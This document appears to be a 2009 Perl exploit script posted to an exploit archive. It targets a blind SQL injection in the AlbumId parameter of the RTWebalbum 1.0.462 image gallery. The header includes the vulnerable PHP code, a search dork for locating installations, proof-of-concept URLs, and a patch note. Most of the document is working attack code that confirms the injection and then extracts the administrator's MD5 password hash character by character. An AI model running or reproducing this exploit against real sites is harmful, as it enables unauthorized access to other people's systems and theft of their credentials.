Home / os / win10

rtwebalbum-sql.txt

Posted on 08 May 2009

#!/usr/bin/perl #*********************************************************************************************** #*********************************************************************************************** #** ** #** ** #** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** #** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** # [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** #** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\n#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- #** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ # [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] #** ** #** ** #** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** #** ¡PROUD TO BE SPANISH! ** #** ** #*********************************************************************************************** #*********************************************************************************************** # #---------------------------------------------------------------------------------------------- #| (GET var 'AlbumID') BLIND SQL INJECTION | #|--------------------------------------------------------------------------------------------| #| | RTWebalbum 1.0.462 | | #| CMS INFORMATION: --------------------- | #| | #|-->WEB: http://rtwebalbum.x12.pl/ | #|-->DOWNLOAD: http://sourceforge.net/projects/rtwebalbum/ | #|-->DEMO: http://rtwebalbum.x12.pl/ | #|-->CATEGORY: CMS / Image Gallery | #|-->DESCRIPTION: Free web album scripts in PHP. Include administration panel to easy | #| manage content of album. If you decide to use this web... | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 3 | #|-->DORK: "2007 Rafal Kucharski" | #|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT | #|-->AFFECT VERSION: v1.0.462 (maybe <= ?) | #|-->Discovered Bug date: 2009-05-04 | #|-->Reported Bug date: 2009-05-04 | #|-->Fixed bug date: 2009-05-06 | #|-->Info patch (1.0.574): http://sourceforge.net/projects/rtwebalbum | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | #|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | #---------------------------------------------------------------------------------------------- # #----------- #BUG FILES: #----------- # #Path --> [HOME_PATH]/index.php #It contents: # ... # # if (!isset($_GET['AlbumId'])) { # $AlbumId = 0; # } else { # $AlbumId = $_GET['AlbumId']; # } # # ... # # #if ($AlbumId <> 0){ # # $picArr = array(); # $query = "SELECT * FROM pictures WHERE AlbumID=".$AlbumId." order by ID"; # $result=mysql_query($query); # # ... #} #------------ #CONDITIONS: #------------ # # #**Exist a valid image with title # #**gpc_magic_quotes=off/on # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=1%23 --> title is displayed (true) # #http://[HOST]/[HOME_PATH]/index.php?AlbumId=3+AND+1=0%23 --> title is not displayed (false) # # ####################################################################### ####################################################################### ##*******************************************************************## ## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: JosS, Ulises2k and all spanish Hack3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # #-------------------EOF--INFO------------------------------->>>ENJOY IT! # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit"); system ("color 03"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[0]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print " [XxX] RTWebalbum v1.0.462 (GET var 'AlbumID') BLIND SQL Injection Exploit "; print " [XxX] USAGE MODE: [XxX] "; print " [XxX] perl $0 [HOST] [PATH] [AlbumID] "; print " [XxX] [HOST]: Web. "; print " [XxX] [PATH]: Home Path. Not path: no-path "; print " [XxX] [AlbumID]: Valid AlbumID. "; print " [XxX] Example: perl $0 'www.example.es' 'rtwebalbum' '1' "; } sub error { print " ----------------------------------------------------------------- "; print " WEB IS NOT VULNERABLE! "; print " Maybe --> "; print " 1.-Patched "; print " 2.-AlbumID doesn't exist "; print " 3.-AlbumID hasn't available image "; print " 4.-output needs more characters "; print " EXPLOIT FAILED! "; print " ----------------------------------------------------------------- "; } sub testedblindsql { print " ----------------------------------------------------------------- "; print " WEB IS VULNERABLE! "; print " Tested Blind SQL Injection. "; print " Starting exploit... "; print " ----------------------------------------------------------------- "; } sub password { #Finally password...md5= 32-digits $k=1; $z=48; while(($k<=32) && ($z<=126)){ my $blindsql=$_[0].'+AND+ascii(substring((SELECT+password+FROM+config),'.$k.',1))='.$z.'%23'; $output=&request($blindsql); if ( $output =~ (/<div id="descrp">([a-zA-Z0-9s]+)</div>/)) { $pass=$pass.chr($z); $k++; $z=47; } if($z==57) { $z=96; } #new char $z++; } return $pass; } #Main &lw; print " ######################################################### "; print " ######################################################### "; print " ## RTWebalbum v1.0.462 - BLIND SQL Injection Exploit ## "; print " ## Author: Y3nh4ck3r ## "; print " ## Contact:y3nh4ck3r[at]gmail[dot]com ## "; print " ## Proud to be Spanish! ## "; print " ######################################################### "; print " ######################################################### "; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; my $AlbumID=$ARGV[2]; #Build the uri if($path eq "no-path"){ $finalhost="http://".$host."/index.php?AlbumId=".$AlbumID; }else{ $finalhost="http://".$host."/".$path."/index.php?AlbumId=".$AlbumID; } #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=2) { &helper; exit(1); } $finalrequest = $finalhost; #Testing blind sql injection $blindsql=$finalrequest."+AND+1=1%23"; #blind sql injection $output=&request($blindsql); if ( $output =~ (/<div id="descrp">([a-zA-Z0-9s]+)</div>/)) { #blind sql injection is available &testedblindsql; }else{ #Not injectable &error; exit(1); } #Bruteforcing password... $passhash=&password($finalrequest); print " ************************************************* "; print " **** EXPLOIT EXECUTED (CREDENTIALS STEALER) **** "; print " ************************************************* "; print " Admin: admin (always) "; print " Admin-password(md5 hash):".$passhash." "; print " <<----------------------FINISH!-------------------->> "; print " <<---------------Thanks to: y3hn4ck3r-------------->> "; print " <<------------------------EOF---------------------->> "; exit(1); #Ok...all job done

 

TOP